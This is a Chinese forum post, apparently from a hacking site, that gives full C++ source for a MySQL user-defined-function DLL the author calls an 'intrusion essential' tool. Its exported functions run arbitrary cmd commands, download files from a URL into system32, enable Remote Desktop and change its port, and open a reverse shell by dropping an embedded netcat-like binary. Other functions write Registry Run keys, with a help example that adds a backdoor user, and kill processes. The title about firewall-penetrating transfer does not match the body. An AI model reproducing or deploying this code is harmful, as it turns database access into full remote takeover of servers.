一种新的穿透防火墙的数据传输技术
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现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF，比如Mix.dll和my_udf.dll。在Mix.dll中有一个MixConnect函数它会反弹shell，但是使用这个函数会造成MYSQL假死，前些天我就用这个函数反弹shell后由于网络原因不一会儿就断开了，造成了MYSQL当掉。my_udf.dll和Mix.dll相似，但它是通过my_udfdoor函数在服务器上侦听3306端口，用nc正向连接获得shell，但它的功能显的少了点，于是我决定自己写一个功能强大，运行稳定的UDF。
MYSQL有一个开发包，它定义了自己的接口，变量类型，以及函数执行顺序。比如我们要写一个open3389函数，我们可以这样写：
extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { //在open3389函数之前调用，一般用于初始化工作，为可选函数； //return 1出错 ,0 正常 return 0; } extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) { //真正实现功能的函数，必需函数； /* 函数内容; return 结果; */ } extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid) { //在open3389函数之后调用，一般用于内存释放，可选函数； } [Copy to clipboard]
以上的open3389函数的返回值是char *类型的，如果是其它类型函数的参数列表也会有所不同，具体的可见MYSQL参考手册。
在写MYSQL UDF时另一个必须考虑的问题是程序的稳定时，它要经的起各种变态输入的考验，否则一旦程序出错MYSQL服务进程就会当掉。
以下是我写的UDF内容，它包含10个函数：
cmdshell 执行cmd； downloader 下载者,到网上下载指定文件并保存到指定目录； open3389 通用开3389终端服务，可指定端口(不改端口无需重启)； backshell 反弹Shell； ProcessView 枚举系统进程； KillProcess 终止指定进程； regread 读注册表； regwrite 写注册表； shut 关机，注销，重启； about 说明与帮助函数； 使用方法: 创建函数：create function 函数名(区分大小写) returns string soname 'dll名' (注意路径)； 删除函数：delete function 函数名； 使用函数：select 函数名(参数列表)；获取参数信息可使用select 函数名("help")；
以上几个函数都经过多次的测试（测试平台：MYSQL 5.0.24-community-nt、Windows XP），不太可能会造成MYSQL假死等现象，但也不排除在特殊环境，特殊输入的情况下出错的可能。
CODE: //-----------------------------------------------------------------------源程序 // MYSQL_UDF.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" #include "stdio.h" #include <windows.h> #include <tlhelp32.h> #include <stdlib.h> #include <winsock.h> #include <Urlmon.h> #include "mysql.h" #include "resource.h" #pragma comment(lib, "Urlmon.lib") HANDLE g_module; //----------------------------------------------------------------------- BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved) { if(ul_reason_for_call==DLL_PROCESS_ATTACH) g_module=hModule; return TRUE; } //-----------------------------------------------------------------------cmdshell extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0; } extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) { if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args [0],"help")==0) { initid->ptr=(char *)malloc(200); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"执行CMD Shell函数.rn例:select cmdshell("dir c://");rn参 数中的"/"要用"//"代替."); *length=strlen(initid->ptr); return initid->ptr; } int RunStatus=0; char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100]; DWORD size=0,len; HANDLE hFile; GetSystemDirectory(ShellPath,MAX_PATH-1); strcat(ShellPath,"/cmd.exe"); GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1); strcat(TempFilePath,"/2351213.tmp"); cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7); strcpy(cmdline," /c "); strcat(cmdline,(args->args)[0]); strcat(cmdline,">"); strcat(cmdline,TempFilePath); STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory( &si, sizeof(si) ); si.wShowWindow=SW_HIDE; si.cb = sizeof(si); ZeroMemory( &pi, sizeof(pi) ); RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi); free(cmdline); if(!RunStatus) { itoa(GetLastError(),temp,10); sprintf(temp,"Shell无法启动,GetLastError=%sn",temp); initid->ptr=(char *)malloc(strlen(temp)+1); strcpy(initid->ptr,temp); (*length)=strlen(initid->ptr); return initid->ptr; } WaitForSingleObject(pi.hProcess,30000); //获得结果 hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE,NULL); if(hFile!=INVALID_HANDLE_VALUE) { size=GetFileSize(hFile,NULL); initid->ptr=(char *)malloc(size+100); ReadFile(hFile,initid->ptr,size+1,&len,NULL); (initid->ptr)[size]=''; strcat(initid->ptr,"rn---------------------------------完成!rn"); CloseHandle(hFile); DeleteFile(TempFilePath); } else { initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"rn---------------------------------完成!rn"); } (*length)=strlen(initid->ptr); return initid->ptr; } extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid) { if(initid->ptr!=NULL) free(initid->ptr); } //-----------------------------------------------------------------------downloader extern "C" __declspec(dllexport)my_bool downloader_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0; } extern "C" __declspec(dllexport)char *downloader(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) { if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]! =STRING_RESULT || stricmp(args->args[0],"help")==0) { initid->ptr=(char *)malloc(200); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"下载者函数rn例:select downloader("[url] http://www.baidu.com/server.exe[/url]","c://winnt//system32//ser.exe");rn参数中 的"/"要用"//"代替."); *length=strlen(initid->ptr); return initid->ptr; } HANDLE hFile; char path[MAX_PATH]; strcpy(path,(args->args)[1]); hFile=CreateFile(path,GENERIC_WRITE,FILE_SHARE_READ, NULL,CREATE_ALWAYS,0,NULL); if(hFile==INVALID_HANDLE_VALUE) { initid->ptr=(char *)malloc(100+strlen(path)); sprintf(initid->ptr,"文件创建失败,请确认目录存在且有写权限(%s).",path); *length=strlen(initid->ptr); return initid->ptr; } CloseHandle(hFile); DeleteFile(path); if(URLDownloadToFile(NULL,(args->args)[0],path,0,0)==S_OK) { initid->ptr=(char *)malloc(50+strlen(path)); sprintf(initid->ptr,"下载文件成功(%s).",path); *length=strlen(initid->ptr); return initid->ptr; } else { initid->ptr=(char *)malloc(100+strlen((args->args)[0])); sprintf(initid->ptr,"下载文件出现错误,可能是网络原因(%s).",(args->args)[0]); *length=strlen(initid->ptr); return initid->ptr; } } extern "C" __declspec(dllexport)void downloader_deinit(UDF_INIT *initid) { if(initid->ptr) free(initid->ptr); } //-----------------------------------------------------------------------open3389 extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0; } extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) { if(!(args->arg_count==0 ||(args->arg_count==1 && args->arg_type[0]==INT_RESULT))) { initid->ptr=(char *)malloc(200); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"通用开3389终端服务.修改端口需重启后生效.rn例:select open3389 ([端口]);"); *length=strlen(initid->ptr); return initid->ptr; } HRSRC hrsrc1; HGLOBAL hglobal1; HANDLE hFile; char path[MAX_PATH]; DWORD size,size2; GetEnvironmentVariable("temp",path,MAX_PATH-1); strcat(path,"/457391.exe"); hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN1), "BIN"); if(hrsrc1==NULL) { initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"查找资源出错,open3389无法继续运行."); *length=strlen(initid->ptr); return initid->ptr; } size=SizeofResource((HMODULE)g_module, hrsrc1); hglobal1=LoadResource((HMODULE)g_module, hrsrc1); if(hglobal1==NULL) { initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"载入资源出错,open3389无法继续运行."); *length=strlen(initid->ptr); return initid->ptr; } hFile = CreateFile(path,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL); if(hFile==INVALID_HANDLE_VALUE) { initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"创建临时文件出错,open3389无法继续运行."); *length=strlen(initid->ptr); return initid->ptr; } WriteFile(hFile,(LPVOID)LockResource(hglobal1),size+1,&size2,NULL); CloseHandle(hFile); GlobalFree(hglobal1); STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory( &si, sizeof(si) ); si.wShowWindow=SW_HIDE; si.cb = sizeof(si); ZeroMemory( &pi, sizeof(pi) ); bool RunStatus=CreateProcess(path,NULL,NULL,NULL,FALSE,0,0,0,&si,&pi); if(!RunStatus) { DeleteFile(path); initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"运行临时文件出错,您的权限可能不够."); *length=strlen(initid->ptr); return initid->ptr; } WaitForSingleObject(pi.hProcess,5000); DeleteFile(path); //改端口 if(args->arg_count!=0 && args->arg_type[0]==INT_RESULT) { HKEY key; DWORD dwDisposition; DWORD port=*((long long *) args->args[0]); RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition); if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port))) { RegCloseKey(key); RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDis position); if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port))) { RegCloseKey(key); initid->ptr=(char *)malloc(100); sprintf(initid->ptr,"成功开启3389终端服务....rn成功修改终端服务端口为%d, 重启后生效,重启系统可利用WindowsExit函数.",port); *length=strlen(initid->ptr); return initid->ptr; } } RegCloseKey(key); initid->ptr=(char *)malloc(100); sprintf(initid->ptr,"成功开启3389终端服务....rn修改终端服务端口失败."); *length=strlen(initid->ptr); return initid->ptr; } else { initid->ptr=(char *)malloc(100); sprintf(initid->ptr,"成功开启3389终端服务.rn"); *length=strlen(initid->ptr); return initid->ptr; } } extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid) { if(initid->ptr) free(initid->ptr); } //-----------------------------------------------------------------------regread extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0; } extern "C" __declspec(dllexport)char *regread(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) { if(args->arg_count!=3 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]! =STRING_RESULT || args->arg_type[2]!=STRING_RESULT || stricmp(args->args[0],"help")==0) { initid->ptr=(char *)malloc(250); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"读注册表函数.rn例:select regread ("HKEY_LOCAL_MACHINE","SYSTEM//ControlSet001 //Services//W3SVC//Parameters//Virtual Roots","/");rn参数中的"/"要用 "//"代替."); *length=strlen(initid->ptr); return initid->ptr; } DWORD a,b,c; BYTE bytere[1000]; HKEY key,key2; if(strcmp("HKEY_LOCAL_MACHINE",(args->args)[0])==0) key=HKEY_LOCAL_MACHINE; else if(strcmp("HKEY_CLASSES_ROOT",(args->args)[0])==0) key=HKEY_CLASSES_ROOT ; else if(strcmp("HKEY_CURRENT_USER ",(args->args)[0])==0) key=HKEY_CURRENT_USER ; else if(strcmp("HKEY_USERS ",(args->args)[0])==0) key=HKEY_USERS ; else { initid->ptr=(char *)malloc(50+strlen((args->args)[0])); sprintf(initid->ptr,"未知的注册表句柄:%srn",(args->args)[0]); *length=strlen(initid->ptr); return initid->ptr; } RegCreateKeyEx(key,(args->args)[1],0,0,REG_OPTION_NON_VOLATILE,KEY_QUERY_VALUE,NULL,&key2,&b); if(b==REG_OPENED_EXISTING_KEY) { if(!RegQueryValueEx(key2,(args->args)[2],0,&a,bytere,&c)) { CloseHandle(key2); initid->ptr=(char *)malloc(1001); memset(initid->ptr,0,1001); strcpy(initid->ptr,(char *)bytere); *length=strlen(initid->ptr); return initid->ptr; } else { CloseHandle(key2); initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"找不注册表值rn"); *length=strlen(initid->ptr); return initid->ptr; } } else { CloseHandle(key2); initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"找不注册表项rn"); *length=strlen(initid->ptr); return initid->ptr; } } extern "C" __declspec(dllexport)void regread_deinit(UDF_INIT *initid) { if(initid->ptr) free(initid->ptr); } //-----------------------------------------------------------------------regwrite extern "C" __declspec(dllexport)my_bool regwrite_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0; } extern "C" __declspec(dllexport)char *regwrite(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) { if(args->arg_count!=5 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]! =STRING_RESULT || args->arg_type[2]!=STRING_RESULT || args->arg_type[3]!=STRING_RESULT || args->arg_type[4]!=STRING_RESULT || stricmp(args->args[0],"help")==0) { initid->ptr=(char *)malloc(300); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"写注册表函数.rn例:select regwrite ("HKEY_LOCAL_MACHINE","SOFTWARE//Microsoft//Windows//CurrentVersion//Run","ad duser","REG_SZ","cmd.exe /c net user langouster langouster /add");rn参数中的 "/"要用"//"代替."); *length=strlen(initid->ptr); return initid->ptr; } HKEY key,hkey; DWORD dwDisposition,ktype; if(strcmp("HKEY_LOCAL_MACHINE",(args->args)[0])==0) hkey=HKEY_LOCAL_MACHINE; else if(strcmp("HKEY_CLASSES_ROOT",(args->args)[0])==0) hkey=HKEY_CLASSES_ROOT ; else if(strcmp("HKEY_CURRENT_USER ",(args->args)[0])==0) hkey=HKEY_CURRENT_USER ; else if(strcmp("HKEY_USERS ",(args->args)[0])==0) hkey=HKEY_USERS ; else { initid->ptr=(char *)malloc(50+strlen((args->args)[0])); sprintf(initid->ptr,"未知的注册表句柄:%srn",(args->args)[0]); *length=strlen(initid->ptr); return initid->ptr; } if(strcmp("REG_BINARY",(args->args)[3])==0) ktype=REG_BINARY; else if(strcmp("REG_DWORD",(args->args)[3])==0) ktype=REG_DWORD ; else if(strcmp("REG_DWORD_LITTLE_ENDIAN",(args->args)[3])==0) ktype=REG_DWORD_LITTLE_ENDIAN ; else if(strcmp("REG_DWORD_BIG_ENDIAN",(args->args)[3])==0) ktype=REG_DWORD_BIG_ENDIAN ; else if(strcmp("REG_EXPAND_SZ",(args->args)[3])==0) ktype=REG_EXPAND_SZ ; else if(strcmp("REG_LINK",(args->args)[3])==0) ktype=REG_LINK ; else if(strcmp("REG_MULTI_SZ",(args->args)[3])==0) ktype=REG_MULTI_SZ ; else if(strcmp("REG_NONE",(args->args)[3])==0) ktype=REG_NONE ; else if(strcmp("REG_RESOURCE_LIST",(args->args)[3])==0) ktype=REG_RESOURCE_LIST ; else if(strcmp("REG_SZ",(args->args)[3])==0) ktype=REG_SZ ; else { initid->ptr=(char *)malloc(50+strlen((args->args)[3])); sprintf(initid->ptr,"未知的注册表值类型:%srn",(args->args)[3]); *length=strlen(initid->ptr); return initid->ptr; } RegCreateKeyEx(hkey,(args->args) [1],0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition); if(!RegSetValueEx(key,(args->args)[2],0,ktype,(BYTE *)(args->args)[4],lstrlen((args- >args)[4])+1)) { initid->ptr=(char *)malloc(100); sprintf(initid->ptr,"写注册表成功rn"); *length=strlen(initid->ptr); return initid->ptr; } else { initid->ptr=(char *)malloc(100); sprintf(initid->ptr,"写注册表失败，可能是您的权限不够rn"); *length=strlen(initid->ptr); return initid->ptr; } RegCloseKey(key); } extern "C" __declspec(dllexport)void regwrite_deinit(UDF_INIT *initid) { if(initid->ptr) free(initid->ptr); } //-----------------------------------------------------------------------KillProcess extern "C" __declspec(dllexport)my_bool KillProcess_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0; } extern "C" __declspec(dllexport)char *KillProcess(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) { if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || (strcmp((args->args) [0],"help")==0)) { initid->ptr=(char *)malloc(200); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"结束进程函数.rn例:select KillProcess("进程名 或 进程ID(十进制)");rn 程序目前还不能结束系统进程."); *length=strlen(initid->ptr); return initid->ptr; } HANDLE hSnapshot = NULL; DWORD processid=0; HANDLE hProcess; char ProcessName[MAX_PATH],tempchar[10]; PROCESSENTRY32 pe; strcpy(ProcessName,(args->args)[0]); hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL); pe.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot,&pe); do { itoa(pe.th32ProcessID,tempchar,10); if(stricmp(pe.szExeFile,ProcessName)==0 || stricmp(tempchar,ProcessName)==0) { processid=pe.th32ProcessID; break; } } while(Process32Next(hSnapshot,&pe)==TRUE); CloseHandle(hSnapshot); if(processid==0) { initid->ptr=(char *)malloc(100); sprintf(initid->ptr,"找不到进程%s,请确认进程是否存在!",(args->args)[0]); *length=strlen(initid->ptr); return initid->ptr; } hProcess=OpenProcess(PROCESS_TERMINATE,false,processid); if(TerminateProcess(hProcess,0)) { CloseHandle(hProcess); initid->ptr=(char *)malloc(100); sprintf(initid->ptr,"%s进程成功终止.",(args->args)[0]); *length=strlen(initid->ptr); return initid->ptr; } else { CloseHandle(hProcess); initid->ptr=(char *)malloc(100); sprintf(initid->ptr,"%s进程终止失败,您的权限可能不足.",(args->args)[0]); *length=strlen(initid->ptr); return initid->ptr; } } extern "C" __declspec(dllexport)void KillProcess_deinit(UDF_INIT *initid) { if(initid->ptr) free(initid->ptr); } //-----------------------------------------------------------------------ProcessView extern "C" __declspec(dllexport)my_bool ProcessView_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0; } extern "C" __declspec(dllexport)char *ProcessView(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) { if(args->arg_count!=0) { initid->ptr=(char *)malloc(100); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"枚举进程函数.rn例:select ProcessView();"); *length=strlen(initid->ptr); return initid->ptr; } HANDLE hSnapshot = NULL; DWORD processid=0; PROCESSENTRY32 pe; char tempchar[10]; initid->ptr=(char *)malloc(2000); if(initid->ptr==NULL)return NULL; memset(initid->ptr,0,1000); hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL); pe.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot,&pe); do { strcat(initid->ptr,pe.szExeFile); strcat(initid->ptr,"t"); itoa(pe.th32ProcessID,tempchar,10); strcat(initid->ptr,tempchar); strcat(initid->ptr,"rn"); } while(Process32Next(hSnapshot,&pe)==TRUE); CloseHandle(hSnapshot); *length=strlen(initid->ptr); return initid->ptr; } extern "C" __declspec(dllexport)void ProcessView_deinit(UDF_INIT *initid) { if(initid->ptr!=NULL) free(initid->ptr); } //-----------------------------------------------------------------------WindowsExit extern "C" __declspec(dllexport)my_bool shut_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0; } extern "C" __declspec(dllexport)char *shut(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) { if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args [0],"help")==0) { initid->ptr=(char *)malloc(100); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"关机重启注销函数.rn例:select shut("logoff|shutdown|reboot");"); *length=strlen(initid->ptr); return initid->ptr; } HANDLE hToken; TOKEN_PRIVILEGES token; UINT Flag; if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,&hToken)) { initid->ptr=(char *)malloc(100); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"获得进程访问信令出错,您的权限可能不足.rn"); *length=strlen(initid->ptr); return initid->ptr; } token.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &token.Privileges[0].Luid); token.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; if(!AdjustTokenPrivileges(hToken,0,&token, sizeof(token),0,0)) { initid->ptr=(char *)malloc(100); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"获得关机令牌出错,您的权限可能不足.rn"); *length=strlen(initid->ptr); return initid->ptr; } if(stricmp(args->args[0],"logoff")==0) Flag=EWX_LOGOFF|EWX_FORCE; else if(stricmp(args->args[0],"shutdown")==0) Flag=EWX_SHUTDOWN|EWX_FORCE; else if(stricmp(args->args[0],"reboot")==0) Flag=EWX_REBOOT|EWX_FORCE; else { initid->ptr=(char *)malloc(100+strlen(args->args[0])); if(initid->ptr==NULL)return NULL; sprintf(initid->ptr,"未知的参数%s,期望为logoff、shutdown、reboot中的一 个.rn",args->args[0]); *length=strlen(initid->ptr); return initid->ptr; } if(ExitWindowsEx(Flag,0)) { initid->ptr=(char *)malloc(100); if(initid->ptr==NULL)return NULL; sprintf(initid->ptr,"成功执行.rn"); *length=strlen(initid->ptr); return initid->ptr; } else { initid->ptr=(char *)malloc(100); if(initid->ptr==NULL)return NULL; sprintf(initid->ptr,"执行失败,您的权限可能不足.rn"); *length=strlen(initid->ptr); return initid->ptr; } } extern "C" __declspec(dllexport)void shut_deinit(UDF_INIT *initid) { if(initid->ptr!=NULL) free(initid->ptr); } //-----------------------------------------------------------------------BackShell extern "C" __declspec(dllexport)my_bool backshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0; } extern "C" __declspec(dllexport)char *backshell(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) { if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=INT_RESULT || stricmp(args->args[0],"help")==0) { initid->ptr=(char *)malloc(100); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"反弹shell.rn例:select backshell("your IP",your port);"); *length=strlen(initid->ptr); return initid->ptr; } HRSRC hrsrc1; HGLOBAL hglobal1; HANDLE hFile; char path[MAX_PATH],cmd[400]; DWORD size,size2; GetEnvironmentVariable("temp",path,MAX_PATH-1); strcat(path,"/95315964.tmp"); hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN2), "BIN"); if(hrsrc1==NULL) { initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"查找资源出错,backshell无法继续运行."); *length=strlen(initid->ptr); return initid->ptr; } size=SizeofResource((HMODULE)g_module, hrsrc1); hglobal1=LoadResource((HMODULE)g_module, hrsrc1); if(hglobal1==NULL) { initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"载入资源出错,backshell无法继续运行."); *length=strlen(initid->ptr); return initid->ptr; } hFile = CreateFile(path,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL); if(hFile==INVALID_HANDLE_VALUE) { initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"创建临时文件出错,backshell无法继续运行."); *length=strlen(initid->ptr); return initid->ptr; } WriteFile(hFile,(LPVOID)LockResource(hglobal1),size+1,&size2,NULL); CloseHandle(hFile); GlobalFree(hglobal1); strcpy(cmd,path); GetSystemDirectory(path,MAX_PATH-1); strcat(path,"/cmd.exe"); sprintf(cmd,"%s -e %s %s %d",cmd,path,args->args[0],*((long long *) args->args[1])); if(WinExec(cmd,SW_HIDE)>31) { initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"执行成功rn"); *length=strlen(initid->ptr); return initid->ptr; } else { initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"执行失败rn"); *length=strlen(initid->ptr); return initid->ptr; } } extern "C" __declspec(dllexport)void backshell_deinit(UDF_INIT *initid) { if(initid->ptr!=NULL) free(initid->ptr); } //-----------------------------------------------------------------------about extern "C" __declspec(dllexport)my_bool about_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0; } extern "C" __declspec(dllexport)char *about(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) { initid->ptr=(char *)malloc(2000); if(initid->ptr==NULL)return NULL; memset(initid->ptr,0,2000); strcat(initid->ptr,"mysql 入侵必备dll 版本1.0.0.1rnrn"); strcat(initid->ptr,"注意:要使用本dll你必须有对mysql的insert和delete权限以创建和删除函数。 rnrn"); strcat(initid->ptr,"使用方法:rn"); strcat(initid->ptr,"创建函数:create function 函数名(区分大小写) returns string soname "dll名" (注意路径);rn"); strcat(initid->ptr,"删除函数:delete function 函数名;rn"); strcat(initid->ptr,"使用函数:select 函数名(参数列表);获取参数信息可使用select 函数名("help"); rn"); strcat(initid->ptr,"--------------------------------------------------------------------rn"); strcat(initid->ptr,"本dll包含的函数:rn"); strcat(initid->ptr,"cmdshell 执行cmd;rn"); strcat(initid->ptr,"downloader 下载者,到网上下载指定文件并保存到指定目录;rn"); strcat(initid->ptr,"open3389 通用开3389终端服务,可指定端口(不改端口无需重启);rn"); strcat(initid->ptr,"backshell 反弹Shell;rn"); strcat(initid->ptr,"ProcessView 枚举系统进程;rn"); strcat(initid->ptr,"KillProcess 终止指定进程;rn"); strcat(initid->ptr,"regread 读注册表;rn"); strcat(initid->ptr,"regwrite 写注册表;rn"); strcat(initid->ptr,"shut 关机,注销,重启;rn"); strcat(initid->ptr,"about 本函数;rn"); strcat(initid->ptr,"--------------------------------------------------------------------rn"); strcat(initid->ptr,"DLL中的每个函数都经多次测试，不太可能会造成MYSQL假死等现象，但也不 排除在特殊环境、特殊输入下出错的可能性.rn"); strcat(initid->ptr,"使用过程中发现的bug可和我联系QQ:185826531(langouster)rn"); strcat(initid->ptr,"源程序公开,可以任意修改和添加功能,散布源程序请注明原作者.rnrn"); strcat(initid->ptr,"特别声明:本程序只供技术研究之用,不正当使用程序造成的后果作者概不负 责!"); *length=strlen(initid->ptr); return initid->ptr; } extern "C" __declspec(dllexport)void about_deinit(UDF_INIT *initid) { if(initid->ptr!=NULL) free(initid->ptr); }
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